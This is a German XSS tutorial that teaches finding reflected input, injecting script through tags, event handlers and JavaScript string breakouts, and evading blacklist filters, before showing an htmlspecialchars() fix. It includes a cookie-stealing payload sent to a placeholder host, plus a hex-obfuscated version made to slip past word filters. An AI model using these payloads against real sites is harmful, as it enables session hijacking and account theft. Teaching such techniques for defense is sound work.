~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*******************************************************
# WEBSECURITY DOCUMENTATION #
# -------------------------------------- #
# XSS - Cross Site Scripting #
# -------------------------------------- #
# #
# #
# written by fred777 [fred777.de] #
# #
******************************************************
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
--[0x00]-- Intro
--[0x01]-- Searching Vulnerabilities
[1] POST Parameter
[2] GET Parameter
--[0x02]-- Exploiting
[1] Simple XSS
[2] Close Tags
[3] Event Handler
[4] Javascript Verweis
[5] Javascript Code Injection
--[0x03]-- XSS Tipps und Tricks
[1] Badwords
[2] String.fromCharCode
[3] Obfuscation
--[0x04]-- Countermeasures and more:
[1] Vuln Script
[2] Schließen der Lücke
--[0x05]-- Finito
********************************************************
##################################################
--[0x00]-- Intro
Willkommen zu meinem Paper über Cross Site Scripting. Ich werde hier erklären
was XSS überhaupt ist und wie es entsteht.
Cross Site Scripting Bugs entstehen dadurch, wenn z.B. in PHP übergebene
Parameter nicht auf spezifische Eingaben hin gefiltert werden. So kann wie
schon gesagt Javascript-Code ausgeführt werden, was bis zum XSS Wurm hin
schädlich für den User sein kann. Auf die Parameter und zu einem Beispielscript werde
ich später kommen. Es ist allerdings nicht schlecht sich schonmal mit PHP auseinandergesetzt
zu haben.
########################################################################
--[0x01]-- Searching Vulnerabilities
Als erstes brauchen wir mal eine Lücke um besser verstehen zu können,
die findet ihr entweder selber oder ihr benutzt einen Scanner.
Da es bei XSS erstmal nicht um PHP Funktionen geht sondern um übergebene
Variablen, suchen wir also eine Stelle in einem Script wo der User Zugriff hat und
eigenen Text einführen kann. Ganz typisch dafür ist die Suchfunktion bei vielen
Webseiten. Natürlich ist dies theoretisch in allen Eingabebereichen möglich...
-------------------------------------------------------
[1] POST Parameter
-------------------------------------------------------
POST-Parameter:
Wir haben also eine Seite gefunden welche mittels des $_POST Parameters
nach Eingaben sucht. D.h. es wird nichts über die URL übergeben, wir sehen
nur die Reaktion des Scripts auf unsere Anfrage.
Wir geben ein normalen Buchstaben ein "a" und finden einige Ergebnisse
Soweit so gut, jetzt schauen wir mal wie es im Quelltext aussieht, und ob unsere Eingabe
da vorhanden ist, wir finden unser a letztendlich hier:
<p>
Die Suche nach a lieferte 2 Ergebnisse.
</p>
Nicht immer muss unsere Eingabe direkt erscheinen, öfters auch im Quelltext versteckt,
es bietet sich also an, ein ungewöhnliches Wort zu übergeben und nach diesem dann zu suchen:
-------------------------------------------------------
[2] GET Parameter
-------------------------------------------------------
GET-Parameter:
Selbstverständlich kann so eine Übergabe von Werten genauso gut auch mittels des GET-Parameters stattfinden.
Über den Cookie natürlich theoretisch auch, allerdings ist das eher selten.
Ihr sucht einfach Stellen wo ein Parameter in der URL übergeben wird, oft auch nach dem Eingeben des
Suchtextes.
Bsp:
www.seite.de/index.php?id=4
www.seite.de/index.php?cat=lalala
Haben wir derartige Parameter gefunden, können wir zum nächsten Schritt übergehen und
schauen wie wir dies ausnutzen könnten.
########################################################################
--[0x02]-- Exploiting
-------------------------------------------------------
[1] Simple XSS
-------------------------------------------------------
Greifen wir das obige Beispiel gerade mal auf:
<p>
Die Suche nach a lieferte 2 Ergebnisse.
</p>
Würden die Eingaben nicht gefiltert werden, könnten wir auch HTML injizieren:
Suche nach: <h1>fred</h1>
Nun sollte fred groß erscheinen und der Quelltext valid sein:
<p>
Die Suche nach <h1>fred</h1> lieferte 0 Ergebnisse.
</p>
Mit HTML lassen sich zwar schöne Spielereichen durchführen, doch Javascript ist
effizienter, als Beispiel ein einfaches Script:
Suche: <Script>alert(1337)</Script>
Ein Popup wird aufbloppen, jeder kann sich denken, dass ein Popup lange nicht
alles ist was Javascript ermöglicht..
-------------------------------------------------------
[2] Close Tags
-------------------------------------------------------
Nicht immer erscheint die Eingabe so, dass eine simple HTML Injection möglich ist,
oft muss man noch Feinarbeiten machen, desöfteren erscheint die Eingabe nämlich
direkt im Input-Tag:
<input type="text" name="foo" value="a">
Hier würde eine obige Injection nicht stimmen, deshalb muss der Tag erst geschlossen
werden mit "> und gegebenenfalls der Rest mit Comments weggefiltert:
"><Script>alert(1)</Script><!--
-------------------------------------------------------
[3] Event Handler
-------------------------------------------------------
Es kann auch passieren, dass mit Script nicht gearbeitet werden kann, dann
kann man sich die nützlichen Event-Handler zuhilfe nehmen, einige sind:
onblur (beim Verlassen)
onchange (bei erfolgter Änderung)
onclick (beim Anklicken)
ondblclick (bei doppeltem Anklicken)
onerror (im Fehlerfall)
onfocus (beim Aktivieren)
Wir haben wieder einen input Tag:
<input type="text" name="foo" value="a">
Bauen wir also unseren Event-Handler ein, wir nutzen onfocus(), dazu müssen
wir value erst wieder schließen, dann onfocus und den Rest macht HTML von selbst zu:
<input type="text" name="foo" value="a" onfocus="alert(1337)">
Nun ohne Leerzeichen:
"onfocus="alert(1337)
Damit haben wir Javascript ohne Script eingefügt..
-------------------------------------------------------
[4] Javascript Verweis
-------------------------------------------------------
Auch kann unsere Eingabe im IMG Tag erscheinen, z.B. unter Source..
<img src="a">
Natürlich könnten wir hier wie gewohnt schließen und mittels <Script> JS ausführen, doch
auch hier lässt sich dies umgehen:
javascript:alert(1337);
<img src="javascript:alert(1337);"> ist valid und der Popup erscheint. Mit
unseren Event-Handlern ginge es natürlich ebenfalls.
-------------------------------------------------------
[5] Javascript Code Injection
-------------------------------------------------------
Bis jetzt wurde nur HTML behandelt, was aber, wenn unsere Eingabe direkt
in Javascript verpflanzt wird:
<script>
var eingabe='a';
document.write('Not Found');
...
</script>
var eingabe='(unserer Code)';
Hier geht es hauptsächlich darum, dass der Code valid bleibt, HTML ist unnötig..
erst wieder aus der Variablenzuweisung ausbrechen, unseren Code einfügen und dann
das Ende wieder schließen:
'; alert(1337); var fred='a
Hiermit funktioniert es, der Code stimmt:
<script>
var eingabe=''; alert(1337); var fred='a';
document.write('Not Found');
...
</script>
########################################################################
--[0x03]-- XSS Tipps und Tricks
-------------------------------------------------------
[1] Badwords
-------------------------------------------------------
Sind die Webprogrammierer unfähig lassen sie die Eingaben nicht mittels einer
PHP Funkion filtern sondern durch eine Badwordlist, d.h. sie filtern z.B. einfach
Script oder "...
Sollte das so sein, könnte man versuchen diese zu umgehen, dafür formuliert man
den Code einfach um. Da wir den Quellcode nicht sehen können müssen wir eben ein
bisschen testen
Einige Möglichkeiten sind:
<ScRiPt>alert(1)<ScRiPt>
Hier wurde Script durch andere Schreibweise ersetzt.
Auch oben genannte Event Handler können Abhilfe schaffen
-------------------------------------------------------
[2] String.fromCharCode
-------------------------------------------------------
Wenn ihr anstatt einer Zahl etwas anderes ausgeben wollt, benutzt man generell
"" -- > <ScRiPt>alert("Hier wird Text ausgegeben")</ScRiPt>
Jetzt ist aber " blacklisted, dies könnt ihr ebenfalls umgehen mit z.B. der Funktion:
String.fromCharCode(), hier werden die Buchstaben aus Unicode Nummern generiert,
Beispiel der String ABC hieße:
String.fromCharCode(65, 66, 67);
also:
<script>alert(String.fromCharCode(65, 66, 67))</script>
-------------------------------------------------------
[3] Obfuscation
-------------------------------------------------------
Es kann genausogut auch sein, dass einzelne Wörter blacklisted sind, wie z.B.
domain oder cookie, wenn wir nun z.B. Cookiestealing betreiben wollten, hieße
unser String vielleicht:
<Script>document.location.href='http://seite.de/index.php?cookie='+document.cookie;</Script>
Mit obiger Blacklist wird das nicht funktionieren, gegen Obfuscation spricht allerdings nichts:
var _0xcf00=["\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x65\x69\x74\x65\x2E\x64\x65\x2F\x69\x6E\x64\x65\x78\x2E\x70\x68\x70\x3F\x63\x6F\x6F\x6B\x69\x65\x3D","\x63\x6F\x6F\x6B\x69\x65"];
document[_0xcf00[1]][_0xcf00[0]]=_0xcf00[2]+document[_0xcf00[3]];
Im Script Tag dann:
<Script>var _0xcf00=["\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x65\x69\x74\x65\x2E\x64\x65\x2F\x69\x6E\x64\x65\x78\x2E\x70\x68\x70\x3F\x63\x6F\x6F\x6B\x69\x65\x3D","\x63\x6F\x6F\x6B\x69\x65"];document[_0xcf00[1]][_0xcf00[0]]=_0xcf00[2]+document[_0xcf00[3]];</Script>
########################################################################
--[0x04]-- Countermeasures and more:
-------------------------------------------------------
[1] Vuln Script
-------------------------------------------------------
Nur warum entstehen eigentlich diese Lücken und wie kann man sie wieder schließen..
Wir haben schon vorhin das Wort "filtern" aufgeschnappt.
Nun, das Suchprinzip ist klar, das was eingegeben wurde kommt auch wieder heraus, nun machen aber einige den Fehler
Die Eingaben nicht zu filtern, so auch mein kleines, den GET-Parameter nutzende Testscript..
--------------------Test-Script----------------------
<html>
<head><title>Test PHP</title></head>
<body>
<?php
echo $_GET['getparameter'];
?>
</body>
</html>
------------------------------------------------------
Jetzt speichern wir es mal und führen es auf localhost aus, etwa so:
http://localhost/xss.php?getparameter=Übergebener Text
Wir sehen, er wird mittels echo ausgegeben. Gefiltert haben wir gar nicht,
folglich müsste auch unsere Javascript Injection funktionieren.
unser Script:
<script>alert(1)</script> // hinter getparameter=
http://localhost/xss.php?getparameter=<script>alert(1)</script>
Das gleiche könnt ihr natürlich auch mit POST versuchen und ihr werdet merken, es funktioniert
ebenso.
Klar ist, einen solchen Bug brauchen wir nicht, also filtern wir die Eingaben.
-------------------------------------------------------
[2] Schließen der Lücke
-------------------------------------------------------
Hier gibt es zwar einige Möglichkeiten, die einfachsten sind allerdings die PHP Funktionen
htmlspecialchars() oder htmlentities(), Befehle welche Sonderzeichen in HTMLcode umwandeln.
Wir wissen, unsere Eingabe wird in der Variablen $_GET['getparameter'] gespeichert, also
schieben wir sie in unsere PHP Funktion.
Das würde dann etwa so aussehen:
htmlspecialchars($_GET['getparameter'])
------------------------------------------------------------------------
<html>
<head><title>Test PHP</title></head>
<body>
<?php
echo htmlspecialchars($_GET['getparameter']);
?>
</body>
</html>
-----------------------------------------------------------------------
Wir merken, unsere Injection funktioniert nicht mehr, da die Sonderzeichen nicht
mehr als diese gelten.
########################################################################
--[0x05]-- Finito
Das wars dann auch schon, ihr solltet nun alles Nötige wissen, was mit Variablen und
ihren Werten passieren kann wenn diese eingelesen und ausgegeben werden. Was man
damit alles genau anstellen kann und wie, erkläre ich in einem anderen Paper.
fred777.de
########################################################################